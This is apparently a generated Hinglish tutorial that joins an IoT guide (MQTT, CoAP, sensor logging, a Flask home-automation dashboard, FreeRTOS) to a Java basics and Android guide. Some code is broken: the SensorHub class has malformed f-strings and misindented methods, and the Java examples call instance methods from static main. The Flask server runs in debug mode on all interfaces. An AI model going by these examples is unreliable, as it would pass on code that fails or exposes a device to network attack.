        reconnectMQTT();
    }
    mqttClient.loop();

    // Read sensor and publish to MQTT
    static unsigned long lastPublish = 0;
    if (millis() - lastPublish > 5000) {
        int sensorValue = analogRead(SENSOR_PIN);
        mqttClient.publish("esp32/sensor", String(sensorValue).c_str());
        lastPublish = millis();
    }
}
```

4. IOT PROTOCOLS (MQTT, CoAP)

>> MQTT Protocol

WHAT:

MQTT (Message Queuing Telemetry Transport) lightweight publish-subscribe protocol hai IoT devices ke liye. Ye low bandwidth, high latency networks ke liye design kiya gaya hai.

KEY FEATURES:

* Publish/Subscribe model
* Quality of Service (QoS) levels
* Last Will and Testament
* Retained messages
* Low overhead (2 bytes header)

>> MQTT Broker Setup

WHAT:

MQTT broker installation and configuration

COMMANDS:

```
# Install Mosquitto MQTT broker
sudo apt update
sudo apt install mosquitto mosquitto-clients -y
# Start Mosquitto service
sudo systemctl start mosquitto
sudo systemctl enable mosquitto
# Test MQTT broker
# Terminal 1 - Subscribe
mosquitto_sub -h localhost -t "test/topic"
# Terminal 2 - Publish
mosquitto_pub -h localhost -t "test/topic" -m "Hello MQTT"
# MQTT with authentication
sudo nano /etc/mosquitto/passwd
sudo mosquitto_passwd -c /etc/mosquitto/passwd username
# Configure mosquitto
sudo nano /etc/mosquitto/mosquitto.conf
# Add: password_file /etc/mosquitto/passwd
# Add: allow_anonymous false
# Restart Mosquitto
sudo systemctl restart mosquitto
```

>> Python MQTT Client

WHAT:

Python MQTT client for IoT applications

CODE:

```
import paho.mqtt.client as mqtt
import json
import time
import random

class MQTTClient:
    def __init__(self, broker, port=1883, client_id=""):
        self.broker = broker
        self.port = port
        self.client = mqtt.Client(client_id)
        self.client.on_connect = self.on_connect
        self.client.on_message = self.on_message
        self.client.on_publish = self.on_publish
```

```
    def on_connect(self, client, userdata, flags, rc):
        print(f"Connected with result code {rc}")
        # Subscribe to topics
        client.subscribe("iot/sensor/#")
        client.subscribe("iot/actuator/#")

    def on_message(self, client, userdata, msg):
        print(f"Received message on {msg.topic}: {msg.payload.decode()}")
        # Parse JSON message
        try:
            data = json.loads(msg.payload.decode())
            self.process_message(msg.topic, data)
        except json.JSONDecodeError:
            print("Invalid JSON received")

    def on_publish(self, client, userdata, mid):
        print(f"Message published with mid: {mid}")

    def process_message(self, topic, data):
        if 'temperature' in data:
            print(f"Temperature: {data['temperature']}C")
            if data['temperature'] > 30:
                self.publish("iot/actuator/fan", "ON")

        if 'humidity' in data:
            print(f"Humidity: {data['humidity']}%")

    def publish(self, topic, payload, qos=0):
        """Publish message to topic"""
        if isinstance(payload, dict):
            payload = json.dumps(payload)
        self.client.publish(topic, payload, qos)

    def connect(self, username=None, password=None):
        if username and password:
            self.client.username_pw_set(username, password)
        self.client.connect(self.broker, self.port, 60)
        self.client.loop_start()

    def disconnect(self):
        self.client.loop_stop()
        self.client.disconnect()

# Simulate IoT sensor data
def simulate_sensor():
    return {
        "device_id": "sensor_001",
        "temperature": round(random.uniform(20, 35), 1),
        "humidity": round(random.uniform(40, 80), 1),
        "pressure": round(random.uniform(980, 1020), 1),
        "timestamp": time.time()
    }

# Main program
if __name__ == "__main__":
    mqtt_client = MQTTClient("localhost", 1883, "python_client")
    mqtt_client.connect()

    try:
        while True:
            # Simulate sensor data
            sensor_data = simulate_sensor()
            mqtt_client.publish("iot/sensor/001", sensor_data)
            print(f"Published: {sensor_data}")
            time.sleep(5)
    except KeyboardInterrupt:
```

```
        print("\nStopping...")
        mqtt_client.disconnect()
```

>> CoAP Protocol

WHAT:

CoAP (Constrained Application Protocol) RESTful protocol hai IoT devices ke liye jo UDP par based hai. Ye HTTP jaisa hai par lightweight hai.

CODE:

```
from coapthon.client.helperclient import HelperClient
from coapthon.server.coap import CoAP
from coapthon.resources.resource import Resource

# CoAP Server
class TemperatureResource(Resource):
    def __init__(self, name="temperature"):
        super(TemperatureResource, self).__init__(name)
        self.temperature = 25.0

    def render_GET(self, request):
        return self, self.temperature

    def render_PUT(self, request):
        self.temperature = float(request.payload)
        return self, True

class HumidityResource(Resource):
    def __init__(self, name="humidity"):
        super(HumidityResource, self).__init__(name)
        self.humidity = 60.0

    def render_GET(self, request):
        return self, self.humidity

class CoAPServer(CoAP):
    def __init__(self, host="0.0.0.0", port=5683):
        CoAP.__init__(self, (host, port))
        self.add_resource('temperature/', TemperatureResource())
        self.add_resource('humidity/', HumidityResource())

# Run CoAP server
server = CoAPServer()
print("CoAP Server started on port 5683")
try:
    server.listen(10)
except KeyboardInterrupt:
    print("Server stopped")

# CoAP Client
client = HelperClient(server=('localhost', 5683))

# GET request
response = client.get('temperature')
print(f"Temperature: {response.payload}")

# PUT request (update temperature)
response = client.put('temperature', '28.5')
print(f"Updated temperature: {response.payload}")

# GET again
response = client.get('temperature')
print(f"New temperature: {response.payload}")

client.stop()
```

5. SENSOR INTEGRATION

>> Common IoT Sensors

WHAT:

Popular IoT sensors and their integration

SENSORS:

* DHT22/DHT11 - Temperature and Humidity
* BMP180/BMP280 - Pressure and Temperature
* MPU6050 - Accelerometer and Gyroscope
* HC-SR04 - Ultrasonic Distance Sensor
* MQ-135 - Gas/Air Quality Sensor
* PIR Motion Sensor
* Soil Moisture Sensor
* DS18B20 - Waterproof Temperature Sensor

>> Multiple Sensor Integration

WHAT:

Complete sensor integration with data logging

CODE:

```
import time
import board
import busio
import adafruit_dht
import adafruit_bmp280
import adafruit_mpu6050
import sqlite3
import pandas as pd
from datetime import datetime

class SensorHub:
    def __init__(self):
        # Initialize I2C bus
        self.i2c = busio.I2C(board.SCL, board.SDA)

        # DHT22 on GPIO 4
        self.dht = adafruit_dht.DHT22(board.D4)

        # BMP280 pressure sensor
        self.bmp = adafruit_bmp280.Adafruit_BMP280_I2C(self.i2c)

        # MPU6050 accelerometer/gyroscope
        self.mpu = adafruit_mpu6050.MPU6050(self.i2c)

        # Initialize database
        self.init_database()

    def init_database(self):
        self.conn = sqlite3.connect('sensor_data.db')
        self.cursor = self.conn.cursor()
        self.cursor.execute('''
            CREATE TABLE IF NOT EXISTS sensor_readings (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                timestamp DATETIME,
                temperature REAL,
                humidity REAL,
                pressure REAL,
                acceleration_x REAL,
                acceleration_y REAL,
```

```
            acceleration_z REAL
        )
    ''')
    self.conn.commit()

def read_dht22(self):
    try:
        temperature = self.dht.temperature
        humidity = self.dht.humidity
        return temperature, humidity
    except RuntimeError:
        return None, None

def read_bmp280(self):
    return self.bmp.temperature, self.bmp.pressure

def read_mpu6050(self):
    return self.mpu.acceleration

def read_all_sensors(self):
    """Read all sensors and return data"""
    temp_dht, humidity = self.read_dht22()
    temp_bmp, pressure = self.read_bmp280()
    accel = self.read_mpu6050()

    # Use DHT22 temperature if available, else BMP280
    temperature = temp_dht if temp_dht is not None else temp_bmp

    return {
        'timestamp': datetime.now(),
        'temperature': temperature,
        'humidity': humidity,
        'pressure': pressure,
        'acceleration_x': accel[0],
        'acceleration_y': accel[1],
        'acceleration_z': accel[2]
    }

def save_to_database(self, data):
    self.cursor.execute('''
        INSERT INTO sensor_readings
        (timestamp, temperature, humidity, pressure,
         acceleration_x, acceleration_y, acceleration_z)
        VALUES (?, ?, ?, ?, ?, ?, ?)
    ''', (
        data['timestamp'],
        data['temperature'],
        data['humidity'],
        data['pressure'],
        data['acceleration_x'],
        data['acceleration_y'],
        data['acceleration_z']
    ))
    self.conn.commit()

def get_statistics(self, hours=24):
    query = f'''
        SELECT
            AVG(temperature) as avg_temp,
            MAX(temperature) as max_temp,
            MIN(temperature) as min_temp,
            AVG(humidity) as avg_humidity,
            AVG(pressure) as avg_pressure
        FROM sensor_readings
        WHERE timestamp >= datetime('now', '-{hours} hours')
    '''
```

```
        df = pd.read_sql_query(query, self.conn)
        return df.to_dict('records')[0]

    def run(self, interval=60):
        """Continuous sensor reading"""
        print("Sensor Hub Started")
        try:
            while True:
                data = self.read_all_sensors()
                self.save_to_database(data)
                print(f"[{data['timestamp']}] Temp: {data['temperature']:.1f}C,
                      f"Humidity: {data['humidity']:.1f}%,
                      f"Pressure: {data['pressure']:.1f}hPa")
                time.sleep(interval)
        except KeyboardInterrupt:
            print("\nSensor Hub Stopped")
            self.conn.close()

if __name__ == "__main__":
    hub = SensorHub()
    hub.run(interval=30)
```

6. HOME AUTOMATION

>> Complete Home Automation System

WHAT:

Complete home automation system with MQTT and web interface

CODE:

```
import json
import time
import threading
from flask import Flask, render_template, jsonify, request
import paho.mqtt.client as mqtt
import RPi.GPIO as GPIO

app = Flask(__name__)

# GPIO Pin Configuration
DEVICES = {
    'living_light': {'pin': 17, 'state': False, 'type': 'light'},
    'bedroom_light': {'pin': 18, 'state': False, 'type': 'light'},
    'kitchen_light': {'pin': 27, 'state': False, 'type': 'light'},
    'fan': {'pin': 22, 'state': False, 'type': 'fan'},
    'ac': {'pin': 23, 'state': False, 'type': 'ac'}}

# Setup GPIO
GPIO.setmode(GPIO.BCM)
for device, config in DEVICES.items():
    GPIO.setup(config['pin'], GPIO.OUT)
    GPIO.output(config['pin'], GPIO.LOW)

# MQTT Setup
mqtt_client = mqtt.Client()
mqtt_client.connect("localhost", 1883, 60)

def mqtt_callback(client, userdata, msg):
    payload = json.loads(msg.payload.decode())
    device = payload.get('device')
    command = payload.get('command')
    if device in DEVICES:
        if command == 'ON':
            GPIO.output(DEVICES[device]['pin'], GPIO.HIGH)
            DEVICES[device]['state'] = True
        elif command == 'OFF':
            GPIO.output(DEVICES[device]['pin'], GPIO.LOW)
            DEVICES[device]['state'] = False
        mqtt_client.publish(f"home/{device}/status", json.dumps({
            'device': device,
            'state': DEVICES[device]['state']
        }))

mqtt_client.on_message = mqtt_callback
mqtt_client.subscribe("home/control/#")
mqtt_client.loop_start()

# Flask Routes
@app.route('/')
def index():
    return render_template('dashboard.html', devices=DEVICES)

@app.route('/api/devices', methods=['GET'])
def get_devices():
    return jsonify(DEVICES)

@app.route('/api/control/<device>', methods=['POST'])
```

```
def control_device(device):
    if device not in DEVICES:
        return jsonify({'error': 'Device not found'}), 404
    data = request.json
    command = data.get('command')
    if command in ['ON', 'OFF']:
        mqtt_client.publish(f"home/control/{device}", json.dumps({
            'device': device,
            'command': command
        }))
        return jsonify({'status': 'success'})
    return jsonify({'error': 'Invalid command'}), 400

@app.route('/api/schedule', methods=['POST'])
def schedule_device():
    data = request.json
    device = data.get('device')
    time_str = data.get('time')
    command = data.get('command')
    # Schedule logic here
    return jsonify({'status': 'scheduled'})

@app.route('/api/energy_stats')
def energy_stats():
    # Calculate energy consumption
    stats = {
        'total_power': 0,
        'daily_usage': 0,
        'monthly_usage': 0
    }
    for device, config in DEVICES.items():
        if config['state']:
            # Add power consumption logic
            pass
    return jsonify(stats)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)
```

>> Home Automation Dashboard HTML

WHAT:

Web dashboard for home automation

CODE:

```
<!DOCTYPE html>
<html>
<head>
    <title>Home Automation Dashboard</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #f0f2f5; }
        .header { background: #1a73e8; color: white; padding: 20px; text-align: center; }
        .container { max-width: 1200px; margin: 20px auto; padding: 0 20px; }
        .device-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 20px; }
        .device-card { background: white; border-radius: 10px; padding: 20px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); }
        .device-name { font-size: 20px; font-weight: bold; margin-bottom: 10px; }
        .device-status { margin: 15px 0; }
        .status-indicator { display: inline-block; width: 12px; height: 12px; border-radius: 50%; margin-right: 8px; }
        .status-on { background: #4caf50; }
        .status-off { background: #f44336; }
        .btn { padding: 10px 20px; border: none; border-radius: 5px; cursor: pointer; font-size: 16px; margin: 5px; }
        .btn-on { background: #4caf50; color: white; }
        .btn-off { background: #f44336; color: white; }
        .btn-schedule { background: #ff9800; color: white; }
```

```
        .stats { background: white; border-radius: 10px; padding: 20px; margin-top: 20px; }
             .schedule-modal  {  display:  none;  position:  fixed;  top:  0;  left:  0;  width:  100%;  height:  100%;  background:
rgba(0,0,0,0.5); }
        .modal-content { background: white; margin: 15% auto; padding: 20px; width: 300px; border-radius: 10px; }
    </style>
</head>
<body>
    <div class="header">
        <h1>Home Automation System</h1>
        <p>Control your smart home devices</p>
    </div>
    <div class="container">
        <div class="device-grid" id="device-grid"></div>
        <div class="stats" id="stats">
            <h3>Energy Statistics</h3>
            <p>Loading...</p>
        </div>
    </div>
    <div id="schedule-modal" class="schedule-modal">
        <div class="modal-content">
            <h3>Schedule Device</h3>
            <input type="time" id="schedule-time">
            <select id="schedule-command">
                <option value="ON">Turn On</option>
                <option value="OFF">Turn Off</option>
            </select>
            <button onclick="scheduleDevice()">Schedule</button>
            <button onclick="closeModal()">Cancel</button>
        </div>
    </div>
    <script>
        let currentDevice = null;

        function fetchDevices() {
            fetch('/api/devices')
                .then(response => response.json())
                .then(devices => {
                    const grid = document.getElementById('device-grid');
                    grid.innerHTML = '';
                    for (const [name, device] of Object.entries(devices)) {
                        grid.innerHTML += `
                            <div class="device-card">
                                <div class="device-name">${name.replace('_', ' ').toUpperCase()}</div>
                                <div class="device-status">
                                    <span class="status-indicator ${device.state ? 'status-on' : 'status-off'}"></span>
                                    <span>${device.state ? 'ON' : 'OFF'}</span>
                                </div>
                                <div>
                                    <button class="btn btn-on" onclick="controlDevice('${name}', 'ON')">Turn ON</button>
                                    <button class="btn btn-off" onclick="controlDevice('${name}', 'OFF')">Turn OFF</button>
                                    <button class="btn btn-schedule" onclick="openSchedule('${name}')">Schedule</button>
                                </div>
                            </div>
                        `;
                    }
                });
        }

        function controlDevice(device, command) {
            fetch(`/api/control/${device}`, {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({command: command})
            }).then(() => fetchDevices());
        }
```

```
        function openSchedule(device) {
            currentDevice = device;
            document.getElementById('schedule-modal').style.display = 'block';
        }

        function closeModal() {
            document.getElementById('schedule-modal').style.display = 'none';
        }

        function scheduleDevice() {
            const time = document.getElementById('schedule-time').value;
            const command = document.getElementById('schedule-command').value;
            fetch('/api/schedule', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({device: currentDevice, time: time, command: command})
            }).then(() => {
                closeModal();
                alert(`Device ${currentDevice} scheduled to turn ${command} at ${time}`);
            });
        }

        function fetchStats() {
            fetch('/api/energy_stats')
                .then(response => response.json())
                .then(stats => {
                    document.getElementById('stats').innerHTML = `
                        <h3>Energy Statistics</h3>
                        <p>Total Power: ${stats.total_power || 0} W</p>
                        <p>Daily Usage: ${stats.daily_usage || 0} kWh</p>
                        <p>Monthly Usage: ${stats.monthly_usage || 0} kWh</p>
                    `;
                });
        }

        setInterval(() => {
            fetchDevices();
            fetchStats();
        }, 5000);

        fetchDevices();
        fetchStats();
    </script>
</body>
</html>
```

7. RTOS (REAL-TIME OPERATING SYSTEM)

>> What is RTOS

WHAT:

RTOS ek operating system hai jo real-time applications ke liye design kiya gaya hai. Ye guaranteed response time provide karta hai. IoT, automotive, medical devices me use hota hai.

KEY CONCEPTS:

* Task Scheduling - Priority-based
* Deterministic - Predictable timing
* Interrupt Latency - Minimal delay
* Task Synchronization - Semaphores, Mutexes
* Memory Management - Fixed-size blocks

>> FreeRTOS on ESP32

WHAT:

FreeRTOS implementation on ESP32

CODE:

```
#include <Arduino.h>
#include <freertos/FreeRTOS.h>
#include <freertos/task.h>
#include <freertos/semphr.h>

// Task handles
TaskHandle_t sensorTaskHandle = NULL;
TaskHandle_t controlTaskHandle = NULL;
TaskHandle_t communicationTaskHandle = NULL;

// Semaphore for shared resource
SemaphoreHandle_t xSemaphore = NULL;

// Shared data
struct SensorData {
    float temperature;
    float humidity;
    int pressure;
} sharedData;

// Sensor Reading Task (High Priority)
void sensorTask(void * parameter) {
    TickType_t xLastWakeTime = xTaskGetTickCount();
    const TickType_t xFrequency = pdMS_TO_TICKS(1000);  // 1 second

    while (1) {
        // Read sensors (simulated)
        float temp = random(200, 350) / 10.0;  // 20.0 to 35.0
        float hum = random(400, 800) / 10.0;   // 40.0 to 80.0
        int pres = random(980, 1020);

        // Critical section - update shared data
        if (xSemaphoreTake(xSemaphore, portMAX_DELAY) == pdTRUE) {
            sharedData.temperature = temp;
            sharedData.humidity = hum;
            sharedData.pressure = pres;
            xSemaphoreGive(xSemaphore);
        }

        Serial.printf("[Sensor] Temp: %.1fC, Hum: %.1f%%, Pres: %dhPa\n",
                      temp, hum, pres);
```

```
        // Wait for next cycle
        vTaskDelayUntil(&xLastWakeTime, xFrequency);
    }
}

// Control Task (Medium Priority)
void controlTask(void * parameter) {
    TickType_t xLastWakeTime = xTaskGetTickCount();
    const TickType_t xFrequency = pdMS_TO_TICKS(5000);  // 5 seconds

    while (1) {
        float temp;

        // Read shared data
        if (xSemaphoreTake(xSemaphore, portMAX_DELAY) == pdTRUE) {
            temp = sharedData.temperature;
            xSemaphoreGive(xSemaphore);
        }

        // Control logic
        if (temp > 30.0) {
            Serial.println("[Control] Temperature high! Turning on fan");
            // digitalWrite(FAN_PIN, HIGH);
        } else if (temp < 20.0) {
            Serial.println("[Control] Temperature low! Turning on heater");
        } else {
            Serial.println("[Control] Temperature normal");
        }

        vTaskDelayUntil(&xLastWakeTime, xFrequency);
    }
}

// Communication Task (Low Priority)
void communicationTask(void * parameter) {
    TickType_t xLastWakeTime = xTaskGetTickCount();
    const TickType_t xFrequency = pdMS_TO_TICKS(10000);  // 10 seconds

    while (1) {
        float temp, hum;
        int pres;

        // Read shared data
        if (xSemaphoreTake(xSemaphore, portMAX_DELAY) == pdTRUE) {
            temp = sharedData.temperature;
            hum = sharedData.humidity;
            pres = sharedData.pressure;
            xSemaphoreGive(xSemaphore);
        }

        // Send to cloud (simulated)
        Serial.printf("[MQTT] Sending - Temp: %.1f, Hum: %.1f, Pres: %d\n",
                      temp, hum, pres);

        vTaskDelayUntil(&xLastWakeTime, xFrequency);
    }
}

void setup() {
    Serial.begin(115200);
    delay(1000);

    // Create semaphore
    xSemaphore = xSemaphoreCreateMutex();

    // Create tasks with different priorities
```

```
    xTaskCreatePinnedToCore(
        sensorTask,
        "SensorTask",
        4096,  // Stack size
        NULL,  // Parameters
        3,     // Priority (higher number = higher priority)
        &sensorTaskHandle,
        0      // Core 0
    );

    xTaskCreatePinnedToCore(
        controlTask,
        "ControlTask",
        4096,
        NULL,
        2,     // Medium priority
        &controlTaskHandle,
        1      // Core 1
    );

    xTaskCreatePinnedToCore(
        communicationTask,
        "CommTask",
        4096,
        NULL,
        1,     // Low priority
        &communicationTaskHandle,
        1      // Core 1
    );

    Serial.println("RTOS Tasks Started!");
}

void loop() {
    // Empty - all work done in tasks
    vTaskDelay(pdMS_TO_TICKS(1000));
}
```

Java Complete Guide

Full Java Programming - From Basics to Android Development

Generated: 22-March-2026

1. JAVA INTRODUCTION AND SETUP

>> What is Java

WHAT:

Java ek object-oriented, platform-independent programming language hai. 'Write Once, Run Anywhere' principle pe kaam karta hai. JVM (Java Virtual Machine) pe run hota hai.

FEATURES:

* Platform Independent - Java code ek baar likho, kahi bhi chalao
* Object-Oriented - Classes, objects, inheritance, polymorphism
* Robust - Strong memory management, exception handling
* Secure - No explicit pointers, bytecode verification
* Multi-threaded - Multiple tasks simultaneously
* Large ecosystem - Android, Web, Desktop, Enterprise

>> Installation on Linux

WHAT:

Java Development Kit (JDK) install karna

COMMANDS:

```
# Check if Java is installed
java -version
javac -version
# Install OpenJDK 11 (LTS version)
sudo apt update
sudo apt install openjdk-11-jdk -y
# For Android development, Java 8 or 11 recommended
sudo apt install openjdk-8-jdk -y
# Set JAVA_HOME environment variable
echo 'export JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64' >> ~/.bashrc
echo 'export PATH=$PATH:$JAVA_HOME/bin' >> ~/.bashrc
source ~/.bashrc
# Verify installation
java -version
javac -version
echo $JAVA_HOME
```

>> First Java Program

WHAT:

Hello World program - Java ka pehla program

CODE:

```
// File: HelloWorld.java
public class HelloWorld {
    public static void main(String[] args) {
        System.out.println("Hello, World!");
    }
}

# Compile karna
javac HelloWorld.java

# Run karna
java HelloWorld

# Output: Hello, World!
```

---

2. JAVA BASICS - SYNTAX AND DATA TYPES

>> Variables and Data Types

WHAT:

Java me variables - strongly typed language, type specify karna mandatory hai

EXAMPLES:

```
// Primitive Data Types (8 types)
// 1. byte (8-bit, -128 to 127)
byte age = 25;
byte temperature = -10;
// 2. short (16-bit, -32,768 to 32,767)
short year = 2024;
short population = 30000;
// 3. int (32-bit, most commonly used)
int salary = 50000;
int count = 1000000;
// 4. long (64-bit, use 'L' suffix)
long worldPopulation = 7800000000L;
long distance = 15000000000L;
// 5. float (32-bit, decimal, use 'f' suffix)
float price = 99.99f;
float pi = 3.14159f;
// 6. double (64-bit, default for decimals)
double salaryDouble = 75000.50;
double percentage = 85.75;
// 7. char (16-bit, single character, single quotes)
char grade = 'A';
char initial = 'R';
// 8. boolean (true or false)
boolean isActive = true;
boolean hasLicense = false;
// Reference Data Types
String name = "Raj Kumar";  // String is a class
int[] numbers = {1, 2, 3, 4, 5};  // Array
```

>> Variable Declaration Rules

WHAT:

Java me variables declare karne ke rules

RULES:

1. Variable name letter, underscore (_), dollar sign ($) se start hona chahiye
2. Number se start nahi kar sakte
3. Spaces nahi ho sakte
4. Java keywords (int, class, public, etc.) use nahi kar sakte
5. Case sensitive hai

Valid Examples:

int age = 25;

String _name = "Raj";

double $salary = 50000;

int employeeId = 123;

Invalid Examples:

// int 1age = 25; // Number se start

// String my name = "Raj"; // Space hai

// int class = 10; // Keyword use kiya

---

3. JAVA OPERATORS

>> All Operators

WHAT:

Java me sabhi operators with examples

EXAMPLES:

```
// 1. Arithmetic Operators
int a = 10, b = 3;
int sum = a + b;        // Addition: 13
int diff = a - b;       // Subtraction: 7
int product = a * b;    // Multiplication: 30
int quotient = a / b;   // Division: 3
int remainder = a % b;  // Modulus: 1
// 2. Unary Operators
int x = 5;
x++;  // Post-increment: x becomes 6
++x;  // Pre-increment: x becomes 7
x--;  // Post-decrement: x becomes 6
--x;  // Pre-decrement: x becomes 5
boolean flag = true;
boolean notFlag = !flag;  // Logical NOT: false
// 3. Relational (Comparison) Operators
int p = 10, q = 20;
boolean isEqual = p == q;      // false
boolean notEqual = p != q;     // true
boolean greater = p > q;       // false
boolean less = p < q;          // true
boolean greaterOrEqual = p >= q; // false
boolean lessOrEqual = p <= q;   // true
// 4. Logical Operators
boolean condition1 = true, condition2 = false;
boolean andResult = condition1 && condition2;  // AND: false
boolean orResult = condition1 || condition2;   // OR: true
boolean notResult = !condition1;                // NOT: false
// 5. Bitwise Operators (for integers)
int m = 5;  // Binary: 0101
int n = 3;  // Binary: 0011
int bitAnd = m & n;   // 0001 = 1
int bitOr = m | n;    // 0111 = 7
int bitXor = m ^ n;   // 0110 = 6
int bitNot = ~m;      // 11111111111111111111111111111010 = -6
int leftShift = m << 1;  // 1010 = 10
int rightShift = m >> 1; // 0010 = 2
// 6. Assignment Operators
int z = 10;
z += 5;   // z = z + 5 = 15
z -= 3;   // z = z - 3 = 12
z *= 2;   // z = z * 2 = 24
z /= 4;   // z = z / 4 = 6
z %= 2;   // z = z % 2 = 0
// 7. Ternary Operator (Conditional)
int age = 18;
String status = (age >= 18) ? "Adult" : "Minor";
// status = "Adult"
// 8. Instanceof Operator
String text = "Hello";
boolean isString = text instanceof String;  // true
```

4. JAVA CONTROL FLOW

>> If-Else Statements

WHAT:

Decision making in Java

EXAMPLES:

```
// Simple if
int age = 18;
if (age >= 18) {
    System.out.println("You can vote");
}
// if-else
int score = 75;
if (score >= 60) {
    System.out.println("Pass");
} else {
    System.out.println("Fail");
}
// if-else-if ladder
int marks = 85;
if (marks >= 90) {
    System.out.println("Grade A");
} else if (marks >= 80) {
    System.out.println("Grade B");
} else if (marks >= 70) {
    System.out.println("Grade C");
} else if (marks >= 60) {
    System.out.println("Grade D");
} else {
    System.out.println("Fail");
}
// Nested if
int num = 15;
if (num > 0) {
    if (num % 2 == 0) {
        System.out.println("Positive Even");
    } else {
        System.out.println("Positive Odd");
    }
} else {
    System.out.println("Negative");
}
```

>> Switch Statement

WHAT:

Multiple conditions ke liye switch case

EXAMPLES:

```
// Traditional switch
int day = 3;
String dayName;
switch (day) {
    case 1:
        dayName = "Monday";
        break;
    case 2:
        dayName = "Tuesday";
        break;
    case 3:
        dayName = "Wednesday";
        break;
```

```
    case 4:
        dayName = "Thursday";
        break;
    case 5:
        dayName = "Friday";
        break;
    default:
        dayName = "Weekend";
}
System.out.println(dayName);  // Wednesday
// Enhanced switch (Java 14+)
String month = "January";
int days = switch (month) {
    case "January", "March", "May", "July",
         "August", "October", "December" -> 31;
    case "April", "June", "September", "November" -> 30;
    case "February" -> 28;
    default -> 0;
};
```

>> Loops in Java

WHAT:

For, while, do-while loops

EXAMPLES:

```
// 1. For Loop
for (int i = 1; i <= 5; i++) {
    System.out.println("Count: " + i);
}
// For loop with array
int[] numbers = {10, 20, 30, 40, 50};
for (int i = 0; i < numbers.length; i++) {
    System.out.println(numbers[i]);
}
// Enhanced for loop (for-each)
String[] fruits = {"Apple", "Banana", "Orange"};
for (String fruit : fruits) {
    System.out.println(fruit);
}
// 2. While Loop
int count = 1;
while (count <= 5) {
    System.out.println("While count: " + count);
    count++;
}
// 3. Do-While Loop (executes at least once)
int num = 1;
do {
    System.out.println("Do-while: " + num);
    num++;
} while (num <= 5);
// Break statement
for (int i = 1; i <= 10; i++) {
    if (i == 5) {
        break;  // Stop loop at 5
    }
    System.out.println(i);
}
// Continue statement
for (int i = 1; i <= 5; i++) {
    if (i == 3) {
        continue;  // Skip 3
    }
    System.out.println(i);
}
```

---

5. JAVA METHODS (FUNCTIONS)

>> Method Declaration

WHAT:

Java me methods kaise define aur call karte hain

EXAMPLES:

```
// Method without parameters and return
public void greet() {
    System.out.println("Hello!");
}
// Method with parameters
public void greetPerson(String name) {
    System.out.println("Hello " + name);
}
// Method with return value
public int add(int a, int b) {
    return a + b;
}
// Method overloading (same name, different parameters)
public int multiply(int a, int b) {
    return a * b;
}
public double multiply(double a, double b) {
    return a * b;
}
public int multiply(int a, int b, int c) {
    return a * b * c;
}
// Static method (can be called without object)
public static void staticMethod() {
    System.out.println("Static method called");
}
// Method calling example
public class Main {
    public static void main(String[] args) {
        greet();
        greetPerson("Raj");
        int sum = add(10, 20);
        System.out.println("Sum: " + sum);
        staticMethod();
    }
}
```

6. JAVA OOP - CLASSES AND OBJECTS

>> Class Basics

WHAT:

Java me classes aur objects kaise banayein

EXAMPLES:

```
// Student class definition
public class Student {
    // Instance variables (fields)
    String name;
    int age;
    String rollNumber;
    String course;
    // Constructor (same name as class, no return type)
    public Student(String name, int age, String rollNumber) {
        this.name = name;      // 'this' refers to current object
        this.age = age;
        this.rollNumber = rollNumber;
    }
    // Default constructor
    public Student() {
        this.name = "Unknown";
        this.age = 0;
    }
    // Method
    public void displayInfo() {
        System.out.println("Name: " + name);
        System.out.println("Age: " + age);
        System.out.println("Roll No: " + rollNumber);
    }
    // Getter (accessor)
    public String getName() {
        return name;
    }
    // Setter (mutator)
    public void setName(String name) {
        this.name = name;
    }
}
// Using the Student class
public class Main {
    public static void main(String[] args) {
        // Create object
        Student student1 = new Student("Raj", 20, "S001");
        student1.displayInfo();
        // Using default constructor
        Student student2 = new Student();
        student2.setName("Priya");
        System.out.println("Name: " + student2.getName());
    }
}
```

7. JAVA OOP - INHERITANCE

>> Inheritance Example

WHAT:

Parent-child class relationship, code reuse

EXAMPLES:

```
// Parent class (Super class)
public class Animal {
    String name;
    int age;
    public Animal(String name, int age) {
        this.name = name;
        this.age = age;
    }
    public void eat() {
        System.out.println(name + " is eating");
    }
    public void sleep() {
        System.out.println(name + " is sleeping");
    }
}
// Child class (Sub class) - extends keyword use karte hain
public class Dog extends Animal {
    String breed;
    public Dog(String name, int age, String breed) {
        super(name, age);  // Call parent constructor
        this.breed = breed;
    }
    // Method overriding
    @Override
    public void eat() {
        System.out.println(name + " the dog is eating dog food");
    }
    // Child-specific method
    public void bark() {
        System.out.println(name + " is barking");
    }
}
// Using inheritance
public class Main {
    public static void main(String[] args) {
        Dog dog = new Dog("Max", 3, "Golden Retriever");
        dog.eat();     // Overridden method
        dog.sleep();   // Inherited from Animal
        dog.bark();    // Dog's own method
    }
}
```

8. ANDROID DEVELOPMENT - MAINACTIVITY EXPLAINED

>> MainActivity.java - Complete Explanation

WHAT:

Android app ka main entry point - MainActivity ka full explanation

CODE:

```
package com.example.myapp;  // Package declaration

// Import required Android classes
import android.os.Bundle;           // For saving/restoring state
import android.view.View;           // For UI elements
import android.widget.Button;       // Button widget
import android.widget.TextView;     // Text display widget
import android.widget.Toast;        // Popup message
import androidx.appcompat.app.AppCompatActivity;  // Base class for activities

// MainActivity class - App ka main screen
public class MainActivity extends AppCompatActivity {

    // 1. DECLARE UI COMPONENTS (Instance variables)
    private TextView textViewMessage;
    private Button buttonClick;
    private Button buttonReset;
    private int clickCount = 0;

    // 2. onCreate() METHOD - Activity create hone par call hota hai
    // Yeh method Android lifecycle ka pehla method hai
    // Yahan UI setup, initialization, click listeners set karte hain
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);  // Call parent class method

        // Set the layout file for this activity
        // R.layout.activity_main refers to activity_main.xml file
        setContentView(R.layout.activity_main);

        // 3. INITIALIZE UI COMPONENTS (findViewById se XML se link karte hain)
        // R.id.textView - XML layout file me define kiya gaya id
        textViewMessage = findViewById(R.id.textView);
        buttonClick = findViewById(R.id.buttonClick);
